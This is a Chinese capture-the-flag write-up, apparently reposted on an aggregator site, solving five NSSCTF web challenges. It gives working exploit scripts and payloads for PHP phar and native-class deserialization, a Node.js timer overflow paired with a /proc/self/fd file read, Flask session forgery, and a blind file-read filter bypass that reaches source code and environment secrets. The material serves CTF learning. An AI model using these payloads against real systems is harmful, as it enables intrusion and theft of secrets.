[NSSCTF]prize_p1~p5五道题学习

2023-10-09 20:50
文章标签 学习 p1 p5 nssctf prize 五道

本文主要是介绍[NSSCTF]prize_p1~p5五道题学习,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

prize_p1(phar反序列化)

打开题目是php源码,

<?php
highlight_file(__FILE__);
class getflag {function __destruct() {echo getenv("FLAG");}
}
class A {public $config;function __destruct() {if ($this->config == 'w') {$data = $_POST[0];if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $data)) {die("我知道你想干吗,我的建议是不要那样做。");}file_put_contents("./tmp/a.txt", $data);} else if ($this->config == 'r') {$data = $_POST[0];if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $data)) {die("我知道你想干吗,我的建议是不要那样做。");}echo file_get_contents($data);}}
}
if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $_GET[0])) {die("我知道你想干吗,我的建议是不要那样做。");
}
unserialize($_GET[0]);
throw new Error("那么就从这里开始起航吧");

这里有两个类,第一个getflag类是用来读取flag的,第二个类具有读和写的功能。这代码看似挺简单的,其实不然,代码最后一行是有throw抛出异常的。当程序抛出异常时,就不会去执行__destruct方法。当然也就没有后续的读取flag和读写操作了。

绕过异常(一)

当对象没有被引用时,就会触发GC机制,调用__destruct方法。一般情况下,可以将对象赋值给数组0建,再将0赋给另一个值,那么对象就失去了引用,例如下面这个例子

a:2:{i:0;O:4:"test":0:{};i:0;N}

然而在本题中unserialize($_GET[0]);是没有进行任何引用的,在这里就自动绕过了。

phar反序列化

这里getflag都被过滤了,而且很多伪协议也过滤了,唯独phar没有过滤,那么我们结合题目有写文件功能上传phar文件再通过phar协议读取。生成完phar文件,但是我们发现,里面的内容还是以明文存储的。

有getflag,还是绕不过过滤怎么办?这里我们可以通过将phar转换为另一种文件格式(压缩)这样反序列化就不会出现明文了。有以下五种能触发phar操作。

普通phar
gzip
bzip2
tar
zip

 相关文章:从虎符线下CTF深入反序列化利用 |

绕过异常(二)

在进行phar操作的时候,通过file_get_contents函数利用phar协议来读取时,也是将里面的getflag类进行反序列化,因为这个异常,我们是不能执行getflag类中的__destruct方法的,所以我们需要绕过异常。那么我们可以在phar文件明文部分修改为

a:2:{i:0;O:7:"getflag":{}i:0;N;}

怎么理解呢?这是一个数组,反序列化是按照顺序执行的,那么这个Array[0]首先是设置为getflag对象的,然后又将Array[0]赋值为NuLL,那么原来的getflag就没有被引用了,就会被GC机制回收从而触发__destruct方法。

修改phar签名

修改了明文就万事大吉了?当然不,文件内容修改了,签名也要一并修改才行。查阅php官方文档有phar文件的格式

签名修复脚本:

from hashlib import sha1
f = open('./ph1.phar', 'rb').read() # 修改内容后的phar文件
s = f[:-28] # 获取要签名的数据
h = f[-8:] # 获取签名类型以及GBMB标识
newf = s+sha1(s).digest()+h # 数据 + 签名 + 类型 + GBMB
open('ph2.phar', 'wb').write(newf) # 写入新文件

 此时这道题的四个步骤就完成了,剩下的就是写入phar文件然后用phar://访问。白嫖大佬脚本。

import requests
import gzip
import reurl = 'http://10258-30c3625a-13f9-489f.nss.ctfer.vip:9080/'file = open("./ph2.phar", "rb") #打开文件
file_out = gzip.open("./phar.zip", "wb+")#创建压缩文件对象
file_out.writelines(file)
file_out.close()
file.close()requests.post(url,params={0: 'O:1:"A":1:{s:6:"config";s:1:"w";}'},data={0: open('./phar.zip', 'rb').read()#压缩包内容通过post传参}
) # 写入res = requests.post(url,params={0: 'O:1:"A":1:{s:6:"config";s:1:"r";}'},data={0: 'phar://tmp/a.txt'  #读取写入的文件}
) # 触发
res.encoding='utf-8'
flag = re.compile('(NSSCTF\{.+?\})').findall(res.text)[0] #正则匹配我们想要的文本
print(flag)

成功得出flag。

prize_p2(文件描述符)

打开题目是一段node.js源码,不熟悉js语言的我又去简单学习了以下node.js的基础语法。先看源码:

const { randomBytes } = require('crypto');
const express = require('express');//require导包
const fs = require('fs');
const fp = '/app/src/flag.txt';
const app = express();
const flag = Buffer(255);
const a = fs.open(fp, 'r', (err, fd) => {fs.read(fd, flag, 0, 44, 0, () => {fs.rm(fp, () => {}); //删除flag.txt});
});
app.get('/', function (req, res) {res.set('Content-Type', 'text/javascript;charset=utf-8');res.send(fs.readFileSync(__filename));//就是返回自身的源代码
});app.get('/hint', function (req, res) {res.send(flag.toString().slice(0, randomBytes(1)[0]%32));//tostring()将缓冲区数据解码为字符串
})//slice将字符串提取出子串// 随机数预测或者一天之后
app.get('/getflag', function (req, res) {res.set('Content-Type', 'text/javascript;charset=utf-8');try {let a = req.query.a;  //获取客户端参数if (a === randomBytes(3).toString()) {res.send(fs.readFileSync(req.query.b));} else {const t = setTimeout(() => {res.send(fs.readFileSync(req.query.b));//设计在多少时间后执行,这里是86400*1000也就是一天后执行}, parseInt(req.query.c)?Math.max(86400*1000, parseInt(req.query.c)):86400*1000);}//parseInt函数进行int类型转换。然后与86400*1000进行比较} catch {res.send('?');}
})app.listen(80, '0.0.0.0', () => {console.log('Start listening')
});

 js代码分析到这,我们的利用点就是通过fs.readFileSync()函数来读取文件,这里要想执行这个函数,有两种途径,一种就是传入的a参数去匹配三个字节的随机数,第二种就是进入到这个setTimeout函数里面。本题考察第二种,利用setTimeout函数的漏洞,就算能够执行读取函数,flag.txt已经被删除,那就需要通过文件描述符来获取flag。

setTimeout函数绕过

正常情况下,这个函数执行要等待最低一天的时间,这显然是不可行的,查阅官方文档。 官方文档地址:setTimeout(callback, delay[, ...args]) | Node.js API 文档

那么我们传参c大于2147483647即可绕过。

文件描述符

 

文件描述符(File Descriptor)简介 - SegmentFault 思否

我理解是打开一个文件就会创建一个进程,就会返回一个文件描述符,而这个文件描述符就指向这个打开的文件。很巧的是这题打开了flag.txt却没有关闭,我们可以通过文件描述符来获取到被删除文件的内容。linux的/proc目录是一个伪文件系统,linux一切皆文件,linux常见的进程也要变成文件存储在/proc目录下。在/proc目录下有很多以数字为名字的文件夹,就是进程运行时对应的进程号,而在这些文件夹下有一个fd文件夹,用于存放这个进程所拥有的文件描述符(数字)

通过读取当前进程的文件描述符来获取到flag的内容。读取路径为/proc/PID/fd/数字,但是当前进程的PID我们不知道,这里又有一个小知识点,/proc/self是当前运行的程序所对应进程号的一个链接,可以获取到当前运行的进程号。最后的数字需要自己猜了,爆破的话容器会遭不住的。这里就直接写了。那么payload就为:  

getflag?c=2147483648&b=/proc/self/fd/18

最后推荐一位师傅写的wp,太顶了:nss_prize1-2 - 刷题记录 |Yume Shoka = Xilzy's blog = Just have fun in cyberspace!

prize_p3(nginx)

题目描述下载1.zip就可以得到flag。但是我访问1.zip为啥没反应。看了群主的视频讲解才知道,压缩包只能1kb的下载,时间远远不够,看群主是写python脚本来分块多线程下载,对于我这种盲注脚本都写不太明白的菜鸡来说,有点太困难了。官方文档:模块ngx_http_slice_module (nginx.org)

当配置上面的模块功能开启后,对于request请求的一个大文件,ngnix就会将整个大请求分成若干个子请求,每个子请求返回大请求数据的一部分,这个部分的边界由http请求头里的range字段来设置

这里直接用IDM这个多线程下载器下载,虽说也快不了多少,也算是把它下载下来了。最后解压,在文件中搜索NSS找到flag。

等自己python学的差不多了再去研究脚本。

prize_p4(python,盲注)

打开题目是一个表单,随便输入点什么进去,得到提示。

 点击get_key发现是一个flask框架路由代码,可以用来获取到key。

@app.route('/getkey', methods=["GET"]) def getkey(): if request.method != "GET": session["key"]=SECRET_KEY

 可以得到key,又让admin登录,那么我们可以伪造session来实现admin登录。flask框架session是储存在客户端的,这就为伪造session提供了条件。

我们要让admin为true,直接改?那要key干什么?flask框架的session是需要利用密钥来生成签名的。所以接下来找到key,看那段路由代码,请求方式不能为GET,我们可以利用postman这个平台。有很多请求方式一个个试。这里用HEAD请求方式,它与GET请求类似,服务器的处理机制也是一样的,唯一大的区别就是HEAD请求不返回实体数据,只返回响应头,属于精简版的GET请求吧,获取到session。  

解码得到key。值为c3d4705e-1443-47e8-8e6c-384cf5ebfdf7,得到了key接下来就是要怎么伪造了。github上应该有专门加密的脚本。脚本地址:GitHub - noraj/flask-session-cookie-manager: Flask Session Cookie Decoder/Encoder

 得到伪造的session。在/home路由下伪造得到python源码。

from flask import Flask, request, session, render_template, url_for,redirect,render_template_string
import base64
import urllib.request
import uuid
import flag SECRET_KEY=str(uuid.uuid4())
app = Flask(__name__)
app.config.update(dict(SECRET_KEY=SECRET_KEY,
))#src in /app@app.route('/')
@app.route('/index',methods=['GET'])
def index():return render_template("index.html")@app.route('/get_data', methods=["GET",'POST'])
def get_data():data = request.form.get('data', '123')if type(data) is str:data=data.encode('utf8')url = request.form.get('url', 'http://127.0.0.1:8888/')if data and url:session['data'] = datasession['url'] = urlsession["admin"]=Falsereturn redirect(url_for('home'))return redirect(url_for('/'))@app.route('/home', methods=["GET"])
def home():if session.get("admin",False):return render_template_string(open(__file__).read())else:return render_template("home.html",data=session.get('data','Not find data...'))@app.route('/getkey', methods=["GET"])
def getkey():if request.method != "GET":session["key"]=SECRET_KEYreturn render_template_string('''@app.route('/getkey', methods=["GET"])
def getkey():if request.method != "GET":session["key"]=SECRET_KEY''')@app.route('/get_hindd_result', methods=["GET"])
def get_hindd_result():if session['data'] and session['url']:if 'file:' in session['url']:return "no no no"data=(session['data']).decode('utf8')url_text=urllib.request.urlopen(session['url']).read().decode('utf8')if url_text in data or data in url_text:return "you get it"return "what ???"@app.route('/getflag', methods=["GET"])
def get_flag():res = flag.waf(request)return resif __name__ == '__main__':app.run(host='0.0.0.0', debug=False, port=8888)

 审计python源码。重点在这个/getflag路由,传进来的参数会通过waf进行过滤,但是我们不知道这个路由具体的实现代码,其次在/get_hindd_result路由下有段代码:

url_text=urllib.request.urlopen(session['url']).read().decode('utf8')

可以进行任意文件读取,那么我们可以通过这个利用点来读取到这个/getflag路由的代码。但是看前面有一个对file协议过滤的代码:

if 'file:' in session['url']:return "no no no"

这里用大小写绕过即可。这里有一个麻烦的点,任意文件读取的结果不会回显在页面。如果url_text和data有相同的部分就会返回"you get it",那么根据这个判断我们可以进行盲注。但是现在还有一个点,该读取什么文件,哪的文件?前面代码注释源码都在app目录下。(#src in /app)大师傅的wp解释说前面导入了flag包,所以读取源码的文件就为/app/flag.py 。

剩下的就是编写脚本进行盲注了,python功底不好,跟着师傅的脚本自己手写一遍。

import requests
import stringurl1 = "http://1.14.71.254:28853//get_data"
url2 = "http://1.14.71.254:28853/get_hindd_result"
node = "def"
payload = "\n";
for i in range(32,128):payload +=chr(i)  #这里要把换行算进去
while 1:for i in payload:  #字符集nodes = node + idata = {'url':'File:///app/flag.py','data':nodes}res = requests.session() #开启sessionres.get(url1,data=data)   #设置session值#print(str(res.cookies.values()))resp = str(res.cookies.values())[2:-2]  #除去['和']pay = requests.get(url2,cookies = {'session':resp})print(pay.text)if "you get it" in pay.text:node +=iprint(node)breakif ord(i) == 127:print(node)exit(0)

这个脚本确实是能跑的,但是很慢,一直跑不全,而且总是Timeout,这里就用师傅跑出来的吧。

def waf(req):if not req.base_url.startswith("http://127.0.0.1"):return "NoNo!!"if not req.full_path.endswitch(".html?"):return "No!!"return os.getenv("FLAG")

这段代码的意思是需要开头是127.0.0.1,以.html结尾,这好像是不影响读取flag的,这代码可以看出flag在环境变量里,而这个flag.py也在当前运行,所以可以通过/proc/self/environ在环境变量获取到flag,稍微改一下上面爆出flag.py的脚本就可以了。

prize_p5(PHP反序列化)

打开题目是一段php代码,看来是考php的反序列化。源码如下:

 <?php
error_reporting(0);
class catalogue{public $class;public $data;public function __construct(){$this->class = "error";$this->data = "hacker";}public function __destruct(){echo new $this->class($this->data);}
}
class error{public function __construct($OTL){$this->OTL = $OTL;echo ("hello ".$this->OTL);}
}
class escape{                                                                   public $name = 'OTL';                                                 public $phone = '123666';                                             public $email = 'sweet@OTL.com';                          
}
function abscond($string) {$filter = array('NSS', 'CTF', 'OTL_QAQ', 'hello');$filter = '/' . implode('|', $filter) . '/i';return preg_replace($filter, 'hacker', $string);
}
if(isset($_GET['cata'])){if(!preg_match('/object/i',$_GET['cata'])){unserialize($_GET['cata']);}else{$cc = new catalogue(); unserialize(serialize($cc));           }    if(isset($_POST['name'])&&isset($_POST['phone'])&&isset($_POST['email'])){if (preg_match("/flag/i",$_POST['email'])){die("nonono,you can not do that!");}$abscond = new escape();$abscond->name = $_POST['name'];$abscond->phone = $_POST['phone'];$abscond->email = $_POST['email'];$abscond = serialize($abscond);$escape = get_object_vars(unserialize(abscond($abscond)));if(is_array($escape['phone'])){echo base64_encode(file_get_contents($escape['email']));}else{echo "I'm sorry to tell you that you are wrong";}}
}
else{highlight_file(__FILE__);
}
?> 

 代码意思很容易理解,这里有一个利用点。

这里可以实例化任意类,而且配合echo输出,那么自然想到就是原生类读文件了。这里利用FilesystemIterator来读取根目录有哪些文件。

O:9:"catalogue":2:{s:5:"class";s:18:"FilesystemIterator";s:4:"data";s:1:"/";}

 发现只有一个sys,这个原生类是只能读取文件名的,所以要配合glob协议来找到flag的文件名。

O:9:"catalogue":2:{s:5:"class";s:18:"FilesystemIterator";s:4:"data";s:11:"glob:///fl*";}

在根目录下有一个flag文件,那么可不可以用一个原生类来读呢?是有的,我们利用SplFileObject这个原生类,但是对object进行了过滤,这里需要使用到反序列化的小知识点:

方便数据的传输,反序列化内容中大写的S表示字符串,可以识别内容里的十六进制

那么读取flag的payload为:

O:9:"catalogue":2:{s:5:"class";S:13:"SplFileO\62ject";s:4:"data";s:5:"/flag";}

成功得到flag。

这么长的代码就考这个?当然不是,这只是一个非预期,往下看代码,还有一个利用点。

字符替换,有长度差,那么应该就考察字符逃逸了。这里长字符的和短字符的都可以供我们选择,这里我选择字符增多。

这里字符逃逸的细节不再述说。payload为:

name=CTFCTFCTFCTFCTFCTFCTFCTFCTFCTFCTFCTFCTFCTFCTFCTFCTF";s:5:"phone";a:1:{i:0;i:1;}s:5:"email";s:5:"/flag";}&phone=123&email=1234

注意一定要好好看代码,之前一直没给cata传参,一直就得不出来。打payload得出base64,解码得到flag。

这篇关于[NSSCTF]prize_p1~p5五道题学习的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/175499

相关文章

HarmonyOS学习(七)——UI(五)常用布局总结

自适应布局 1.1、线性布局(LinearLayout) 通过线性容器Row和Column实现线性布局。Column容器内的子组件按照垂直方向排列,Row组件中的子组件按照水平方向排列。 属性说明space通过space参数设置主轴上子组件的间距,达到各子组件在排列上的等间距效果alignItems设置子组件在交叉轴上的对齐方式,且在各类尺寸屏幕上表现一致,其中交叉轴为垂直时,取值为Vert

Ilya-AI分享的他在OpenAI学习到的15个提示工程技巧

Ilya(不是本人,claude AI)在社交媒体上分享了他在OpenAI学习到的15个Prompt撰写技巧。 以下是详细的内容: 提示精确化:在编写提示时,力求表达清晰准确。清楚地阐述任务需求和概念定义至关重要。例:不用"分析文本",而用"判断这段话的情感倾向:积极、消极还是中性"。 快速迭代:善于快速连续调整提示。熟练的提示工程师能够灵活地进行多轮优化。例:从"总结文章"到"用

【前端学习】AntV G6-08 深入图形与图形分组、自定义节点、节点动画(下)

【课程链接】 AntV G6:深入图形与图形分组、自定义节点、节点动画(下)_哔哩哔哩_bilibili 本章十吾老师讲解了一个复杂的自定义节点中,应该怎样去计算和绘制图形,如何给一个图形制作不间断的动画,以及在鼠标事件之后产生动画。(有点难,需要好好理解) <!DOCTYPE html><html><head><meta charset="UTF-8"><title>06

学习hash总结

2014/1/29/   最近刚开始学hash,名字很陌生,但是hash的思想却很熟悉,以前早就做过此类的题,但是不知道这就是hash思想而已,说白了hash就是一个映射,往往灵活利用数组的下标来实现算法,hash的作用:1、判重;2、统计次数;

零基础学习Redis(10) -- zset类型命令使用

zset是有序集合,内部除了存储元素外,还会存储一个score,存储在zset中的元素会按照score的大小升序排列,不同元素的score可以重复,score相同的元素会按照元素的字典序排列。 1. zset常用命令 1.1 zadd  zadd key [NX | XX] [GT | LT]   [CH] [INCR] score member [score member ...]

【机器学习】高斯过程的基本概念和应用领域以及在python中的实例

引言 高斯过程(Gaussian Process,简称GP)是一种概率模型,用于描述一组随机变量的联合概率分布,其中任何一个有限维度的子集都具有高斯分布 文章目录 引言一、高斯过程1.1 基本定义1.1.1 随机过程1.1.2 高斯分布 1.2 高斯过程的特性1.2.1 联合高斯性1.2.2 均值函数1.2.3 协方差函数(或核函数) 1.3 核函数1.4 高斯过程回归(Gauss

【学习笔记】 陈强-机器学习-Python-Ch15 人工神经网络(1)sklearn

系列文章目录 监督学习:参数方法 【学习笔记】 陈强-机器学习-Python-Ch4 线性回归 【学习笔记】 陈强-机器学习-Python-Ch5 逻辑回归 【课后题练习】 陈强-机器学习-Python-Ch5 逻辑回归(SAheart.csv) 【学习笔记】 陈强-机器学习-Python-Ch6 多项逻辑回归 【学习笔记 及 课后题练习】 陈强-机器学习-Python-Ch7 判别分析 【学

系统架构师考试学习笔记第三篇——架构设计高级知识(20)通信系统架构设计理论与实践

本章知识考点:         第20课时主要学习通信系统架构设计的理论和工作中的实践。根据新版考试大纲,本课时知识点会涉及案例分析题(25分),而在历年考试中,案例题对该部分内容的考查并不多,虽在综合知识选择题目中经常考查,但分值也不高。本课时内容侧重于对知识点的记忆和理解,按照以往的出题规律,通信系统架构设计基础知识点多来源于教材内的基础网络设备、网络架构和教材外最新时事热点技术。本课时知识

线性代数|机器学习-P36在图中找聚类

文章目录 1. 常见图结构2. 谱聚类 感觉后面几节课的内容跨越太大,需要补充太多的知识点,教授讲得内容跨越较大,一般一节课的内容是书本上的一章节内容,所以看视频比较吃力,需要先预习课本内容后才能够很好的理解教授讲解的知识点。 1. 常见图结构 假设我们有如下图结构: Adjacency Matrix:行和列表示的是节点的位置,A[i,j]表示的第 i 个节点和第 j 个

Node.js学习记录(二)

目录 一、express 1、初识express 2、安装express 3、创建并启动web服务器 4、监听 GET&POST 请求、响应内容给客户端 5、获取URL中携带的查询参数 6、获取URL中动态参数 7、静态资源托管 二、工具nodemon 三、express路由 1、express中路由 2、路由的匹配 3、路由模块化 4、路由模块添加前缀 四、中间件